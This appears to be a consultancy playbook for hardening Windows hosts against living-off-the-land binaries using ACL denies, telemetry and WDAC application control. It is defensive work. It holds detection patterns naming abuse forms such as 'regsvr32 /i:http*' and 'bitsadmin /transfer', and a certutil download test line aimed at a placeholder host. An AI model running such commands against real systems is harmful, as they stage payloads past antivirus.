Windows LOLBIN Hardening

Cut Living-Off-The-Land Execution — ACL Stopgap to WDAC Application Control

190+
binaries in the LOLBAS catalog
100%
Microsoft-signed — AV-blind by default
62%
of intrusions use built-in tools
3 days
median time from access to encryption
0
EDR alerts when used in tier-0 context
The defensive question is rarely "who can read this file" — it's "should this binary be allowed to run on this host at all?" Living-Off-The-Land binaries are signed by Microsoft, ship by default, and never trip AV. certutil downloads payloads. mshta executes remote HTML applications. wmic runs commands across hosts. bitsadmin stages files. All of it from a process tree that looks legitimate. This playbook closes the door.
Hard exclusions: Some Windows binaries are abused by attackers AND required by Windows itself. rundll32, svchost, wuauclt, TiWorker, dism, sfc, wevtutil, msiexec — touch these and you break Windows Update, servicing, GPO, or COM. The lists below exclude them on purpose.

Entry Point: LOLBIN Exposure Assessment

Inventory the SYSTEM-context execution surface. Identify which LOLBINs are already invoked by legitimate workloads (must allow-list) and which are dormant (safe to deny). Determine whether the environment can support WDAC or only ACL-deny.
1–2 days Entry point / loss leader

What we check

  • Windows edition coverage — WDAC requires Pro / Enterprise / Server 2019+. Home edition gets ACL stopgap only.
  • Existing application-control posture — AppLocker policies, SmartScreen, Defender Exploit Guard ASR rules.
  • SYSTEM-context dependencies — scheduled tasks, services, and update flows that legitimately invoke binaries on the candidate deny-list.
  • Recent LOLBIN telemetry — what's actually running on these hosts right now (process events, command-line auditing).
  • Backup / rollback capacity — can we revert in <15 minutes if a deny rule breaks a production workload?

Quick Telemetry Pull

# What's invoked LOLBIN-style on this host in the last 30 days?
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688;StartTime=(Get-Date).AddDays(-30)} |
  Where-Object { $_.Properties[5].Value -match 'certutil|bitsadmin|mshta|wmic|regsvr32|installutil|msbuild|cscript|wscript|hh\.exe|forfiles|esentutl' } |
  Select-Object TimeCreated,
    @{n='Process';e={$_.Properties[5].Value}},
    @{n='Parent'; e={$_.Properties[13].Value}},
    @{n='User';   e={$_.Properties[1].Value}} |
  Group-Object Process | Sort-Object Count -Descending |
  Select-Object Count, Name

# Is WDAC supported on this build?
(Get-ComputerInfo -Property OsName, OsBuildNumber, WindowsEditionId).WindowsEditionId
# Pro/Enterprise/Server SKUs only

Output

One-page exposure scorecard: dormant LOLBINs (safe to deny tonight), in-use LOLBINs (audit-mode required first), unsupported hosts (ACL-only). Prioritized 4-week rollout plan.

1 Containment — Deny SYSTEM Execute on Dormant LOLBINs
Active incident or pre-incident hardening. Block the SYSTEM account from executing the LOLBINs your environment doesn't legitimately use. NTFS ACL DENY ACEs take precedence over every ALLOW, so this works even if SYSTEM picks up access via other group memberships. Reversible via SDDL backup.
Quick Wins (Day 0, Free)
  • Run the Restrict-LOLBINs-SYSTEM.ps1 in dry-run on every Windows host. It enumerates the conservative LOLBIN list (25 binaries) and writes a JSON SDDL backup before any change.
    15 min/hostFree
  • Apply on one test VM with -Apply. Verify SYSTEM-context launch of certutil.exe fails (use PsExec -i -s to test).
    30 minFree
  • Document the rollback command and store the SDDL backup JSON in your IR vault — if a service breaks at 2 AM, on-call needs to revert in <5 min.
    15 minFree
  • Block PowerShell ISE for SYSTEM — ISE is interactive-only, never legitimately invoked by a service. Easy win.
    5 minFree
Core Engagement (1–2 days)
  • Roll out the conservative ACL ruleset to all non-DC servers. Stage by tier — lab → pre-prod → production with 24h observation between waves.
  • Add the aggressive tier (cscript, wscript, msbuild, csc, cmstp, msdt) after telemetry shows they're not in use locally. Never aggressive-tier a build host or a developer workstation.
  • Wire the script into your configuration management (Ansible / Puppet / Intune Custom OMA-URI) so new hosts inherit the policy on join.
  • Rollback drill: on a production-shaped host, take a deliberately broken state (delete the SDDL backup mid-run) and prove you can still recover via icacls /reset + restore from a known-good baseline image.
Target State

Conservative LOLBIN tier denied for SYSTEM on every supported host. Backups stored centrally and version-controlled. Configuration management owns drift. Per-host rollback <5 min. This is the floor — WDAC (Loop 3) is the durable answer.

2 Detection — See LOLBIN Execution Before You Block It
You cannot block what you cannot see. Before any enforce action, instrument the hosts so legitimate LOLBIN use surfaces in the SIEM. The same telemetry that informs your allow-list also detects post-compromise abuse.
Quick Wins (Day 0, Free)
  • Enable command-line auditing via GPO — two settings are required, the admin-template one alone does nothing:
    1. Computer Config → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Detailed Tracking → Audit Process Creation = Success — turns on Event ID 4688 generation.
    2. Computer Config → Admin Templates → System → Audit Process Creation → Include command line in process creation events — appends the full argv to the events. Without (1), this does nothing because no 4688 events are produced.
    15 minFree
  • Enable PowerShell Script Block Logging + Module Logging + Transcription. Three separate GPO toggles. Without all three, base64-encoded LOLBIN-style PowerShell is invisible.
    30 minFree
  • Deploy Sysmon with SwiftOnSecurity config — Event IDs 1 (process create), 11 (file create), 22 (DNS) cover most LOLBIN behavior.
    2 hoursFree / OSS
  • Enable Defender Attack Surface Reduction (ASR) rules in audit mode — specifically the rules for credential theft, Office child processes, and obfuscated scripts. Audit-only first; lots of false positives initially.
    1 hourFree (Defender)
  • Write a SIEM saved search that bubbles up the top-10 LOLBINs by daily volume, broken out by parent process. Run it weekly. Spikes = either a new legit workflow (allow-list it) or an incident (investigate it).
    1 hourFree
Core Engagement (2–3 days)
  • Build a "LOLBIN baseline" dashboard: per-host invocation frequency, parent-child process trees, command-line entropy distribution. Anomalies become alertable.
  • Author Sigma rules for the high-signal LOLBIN patterns: certutil -decode, mshta http*, regsvr32 /s /u /n /i:http*, bitsadmin /transfer, wmic process call create. Map to MITRE ATT&CK T1218 / T1105 / T1059.
  • Process ancestry alerts: any LOLBIN invoked with winword.exe, excel.exe, outlook.exe, or browser as a grandparent. These have no legitimate use case.
  • Deploy Velociraptor hunts for retrospective LOLBIN-on-disk scanning — checks every endpoint for binaries copied out of System32 (an attacker dropping a renamed certutil to %TEMP%).
Target State

Every Windows host emits command-line + script-block telemetry to central SIEM. LOLBIN dashboard reviewed weekly. Sigma rules for top-20 abuse patterns deployed. Process-ancestry alerts catch Office macro → LOLBIN chains in <5 min. Allow-list informed by 30 days of telemetry, not guesswork.

3 Posture — Deploy WDAC Application Control
ACLs answer "who can read this file." WDAC answers "should this code run at all." A renamed certutil.exe dropped to %TEMP% still has the embedded OriginalFileName in its PE version-info — WDAC matches on that field, not path. This is the durable control.
Quick Wins (Day 0, Free)
  • Run Build-WDACStarter.ps1 in build-only mode. The script merges DefaultWindows_Audit.xml (ships with Windows, allows Microsoft-signed code) with the LOLBIN deny ruleset and forces Audit Mode.
    15 minFree (built into Windows)
  • Deploy the compiled policy to one test host with -Deploy -MultiPolicy. Audit mode is the default. Nothing gets blocked. Everything that would be blocked is logged to Microsoft-Windows-CodeIntegrity/Operational as Event ID 3076.
    30 minFree
  • Add Microsoft's Recommended Block Rules — ~150 historically-abused binaries and vulnerable drivers. Microsoft maintains the list; you subscribe.
    30 minFree
Core Engagement (3–4 days)
  • The iteration loop (this is the actual work):
    1. Deploy audit-mode policy to a pilot of 10–25 representative hosts.
    2. Run a full week with normal workload. Holiday weeks don't count.
    3. Review Event ID 3076 hits. For each legitimate hit:
      • Allow by publisher (broadest, e.g. specific vendor signing cert).
      • Allow by hash (narrowest, safest).
      • Allow by path — only if admin-write-protected.
    4. Write a supplemental allow-policy XML. Deploy. Re-audit.
    5. When 3076 hits show only the LOLBINs you want blocked, flip the policy to enforce by removing Enabled:Audit Mode.
    6. Roll forward in waves: pilot → department → region → fleet.
  • DLL signing enforcement: once EXE policy is stable, enable DLL enforcement. Catches reflective DLL loading. Bigger audit-mode window required (4–6 weeks) because the noise floor is higher.
  • Script enforcement: turn on Enabled:Script Enforcement as the final phase. Affects PowerShell modules and MSI installers — biggest blast radius, save for last.
  • Allow-policy hygiene: version your supplemental XMLs in git. Code review every change. Document why each allow exists. Unowned allows accumulate and erode the policy.
Target State

Every supported Windows host runs WDAC in enforce mode. Microsoft-signed code allowed by default. Microsoft Block List enforced. Conservative + aggressive LOLBIN tiers denied. Renaming or relocating a binary does not bypass policy. Allow-list versioned in git, owned by a named team.

4 Vulnerability Management — Keep the Policy Current
Application control is not "set and forget." Windows ships new binaries every cumulative update. The Microsoft Recommended Block List grows quarterly. New LOLBINs are documented monthly. Without a cadence, the policy decays.
Quick Wins (Day 0, Free)
  • Subscribe to the LOLBAS project RSS / GitHub releases — canonical inventory, updates monthly.
    5 minFree
  • Watch the Microsoft Block Rules markdown commits — GitHub watch / Atom feed surfaces changes.
    5 minFree
  • Schedule a quarterly review of the WDAC supplemental allow-policies. Anything not referenced in the last 90 days = candidate for removal.
    1 hour/quarterFree
Core Engagement (1 day + cadence)
  • Monthly cadence: review LOLBAS additions, pre-existing-host-state telemetry, and event 3076/3077 hit rates. Decide what to add to deny / allow lists.
  • Quarterly cadence: pull the latest Microsoft Block List, diff against deployed policy, merge additions, redeploy in audit mode for 1 week, then enforce.
  • Patch coupling: any Patch Tuesday that ships new System32 binaries triggers a 7-day audit-mode re-validation on a canary host before fleet rollout.
  • Allow-list drift report: dashboard showing supplemental allows added per quarter, who owns each, last hit date. Force-rationalize quarterly.
Target State

Policy update SLA: new MS Block List additions deployed within 30 days of publication. New LOLBAS entries triaged within 14 days. Allow-list reviewed quarterly, drift <5%. Cumulative-update binaries validated on canary before fleet rollout.

5 Structural — Sign the Policy and Manage at Fleet Scale
An unsigned WDAC policy can be disabled by anyone with local admin. A signed policy survives even a compromised admin account — the policy can only be replaced by another signed update from a trusted issuer. This is the difference between a control and an actual security boundary.
Quick Wins (Day 0, Free)
  • Read the WDAC deployment guide — understand the signed-policy lifecycle (you can't un-sign without a signed revocation).
    1 hourFree
  • Inventory hosts by management tier: Intune-managed, SCCM-managed, GPO-only, unmanaged. Each gets a different rollout path.
    2 hoursFree
Core Engagement (3–5 days)
  • Signing infrastructure: code-signing cert from internal CA or commercial issuer. Lock the private key in HSM (YubiKey / Azure Key Vault HSM / Thales). Two-person signing for production policy.
  • Signed policy deployment: sign the base policy, deploy in audit mode signed, validate, then sign the enforce-mode version. Document the revocation procedure — you will need it.
  • Fleet management: Intune Endpoint Security → Application Control or SCCM-distributed .cip files. GitOps-style: policy XML lives in git, CI compiles + signs, deployment pipeline pushes.
  • Recovery plan: what if a signed enforce-mode policy bricks the fleet? Documented procedure for boot-into-recovery + signed revocation policy. Test it twice before production rollout.
  • Compliance mapping: NIST 800-53 SI-7, CIS Controls 2.5 / 2.6, ISO 27001 A.12.5, NIS2 Article 21(2)(e) — application control is named in all of them. Map your policy to the controls you need to evidence.
Target State

Signed WDAC policy enforced on every supported host, managed centrally via Intune/SCCM. Two-person signing for production changes. Tested recovery procedure for catastrophic policy failure. Compliance evidence auto-exported quarterly. A locally-compromised admin cannot disable application control.

Coverage Matrix — ACL Deny vs WDAC Enforce

What each approach actually stops. Be honest with yourself: if you're only doing the ACL pass, you have the first column. WDAC closes the rename, drop-fresh, and DLL-injection holes that ACLs miss entirely.
TechniqueACL DenyWDAC Enforce
SYSTEM-context service downloads payload via certutilBlockedBlocked
Admin user runs certutil from cmd.exeAllowedBlocked
certutil.exe renamed to notepad.exeAllowedBlocked (OriginalFileName match)
Fresh certutil.exe dropped to %TEMP%AllowedBlocked (hash / signer match)
Reflective DLL load of unsigned codeAllowedBlocked (DLL enforcement on)
Office macro spawns mshta from a phishing docAllowedBlocked
Compromised local admin disables the controlicacls /resetSigned policy resists
Windows Update replaces denied binaryACE may persist on old inodePolicy is file-independent
Centralized fleet rollout / auditPer-host scriptIntune / SCCM / MDM
Per-identity granularity (SYSTEM-only block)NativePer-host, not per-user
Use the ACL approach when you need defense this week, the host is unmanageable Home edition, or you specifically need per-identity scoping. Use WDAC when the host runs Pro / Enterprise / Server 2019+ and you have any path to centralized management. Skip ACLs entirely if you're already deploying WDAC — the maintenance burden is not worth the duplicate control.

Defense in Depth: Free Afternoon Deploy

Twelve controls deployable this week with zero budget. Each closes a specific link in the LOLBIN abuse chain.
#ActionTimeClosesTool
1Run Restrict-LOLBINs-SYSTEM.ps1 in dry-run on every host15 min/hostSYSTEM-context LOLBIN execScript (download)
2Apply ACL DENY for SYSTEM on conservative tier30 minService-context LOLBIN abuseSame script with -Apply
3Enable command-line auditing (Event ID 4688 with argv)15 minDetection blindnessGPO
4Enable PowerShell Script Block + Module Logging + Transcription30 minObfuscated PowerShellGPO
5Deploy Sysmon with SwiftOnSecurity config2 hoursProcess tree visibilityConfig
6Build Build-WDACStarter.ps1 in audit mode on a test host1 hourRenamed-binary LOLBIN bypassScript (download)
7Subscribe to LOLBAS GitHub releases5 minInventory driftLOLBAS
8Enable Defender ASR rules (audit mode)1 hourOffice → LOLBIN chainsASR
9Write process-ancestry alert: Office → LOLBIN1 hourMacro-based intrusionSIEM saved search
10Write Sigma rules for certutil -decode, mshta http*, regsvr32 /i:http*2 hoursTop-5 LOLBIN abuse patternsSigma / SIEM
11Block PowerShell ISE execution for SYSTEM5 minInteractive-only binary running headlessRestrict-LOLBINs script
12Document rollback procedure + store SDDL backup in IR vault15 min2 AM oh-no scenariosRunbook

Program Economics (200-seat reference)

EngagementDurationInvestment
Exposure assessment + quick wins handoff1–2 days€1,250 – 2,500
1 Containment (ACL rollout, conservative tier)1–2 days€1,250 – 2,500
2 Detection (telemetry + Sigma rules)2–3 days€2,500 – 3,750
3 Posture (WDAC audit → enforce)3–4 days€3,750 – 5,000
4 Vuln Mgmt (cadence + tooling)1 day + monthly€1,250 + €5,000/yr
5 Structural (signed policy, fleet mgmt)3–5 days€3,750 – 6,250
Full program11–17 days€13,750 – 20,000 + retainer
ROI math: WDAC closes the LOLBIN attack surface that 62% of intrusions depend on. The free tier alone (ACL deny + telemetry) eliminates the SYSTEM-context abuse vector that ransomware operators favor most. The full program closes the dual-use binary class entirely. Tooling cost: €0 — everything in this playbook ships with Windows.

Downloads

Working artifacts. All three default to safe modes (dry-run / audit-only). Read the script headers before running. Reversible via documented rollback path.
FileTypePurpose
Restrict-LOLBINs-SYSTEM.ps1 PowerShell ACL DENY-execute for SYSTEM across 25 conservative LOLBINs. JSON SDDL backup. -Apply required to mutate. -Restore reverts.
WDAC-LOLBIN-Denies.xml WDAC supplemental 25 OriginalFileName-based deny rules. Designed to merge with DefaultWindows_Audit.xml. Aggressive tier commented out.
Build-WDACStarter.ps1 PowerShell Build + deploy pipeline. Merges base + denies, forces Audit Mode, compiles to .p7b, optional in-place deploy via CiTool.

Free / Open-Source References

Key Verification Commands

# Verify SYSTEM is denied execute on a target binary
icacls C:\Windows\System32\certutil.exe
# look for: NT AUTHORITY\SYSTEM:(DENY)(RX)

# Confirm WDAC policy is active
CiTool --list-policies

# Tail audit-mode would-have-blocked events
Get-WinEvent -LogName Microsoft-Windows-CodeIntegrity/Operational `
  -FilterXPath "*[System[EventID=3076]]" -MaxEvents 50 |
  Select TimeCreated,
    @{n='File';   e={$_.Properties[1].Value}},
    @{n='Signer'; e={$_.Properties[10].Value}}

# Test: invoke LOLBIN from SYSTEM context after deploy
# (using PsExec from Sysinternals)
psexec.exe -i -s -d cmd.exe
# In new shell:
certutil.exe -urlcache -split -f https://example/x.bin
# Expected: Access denied (ACL) OR code-integrity error (WDAC)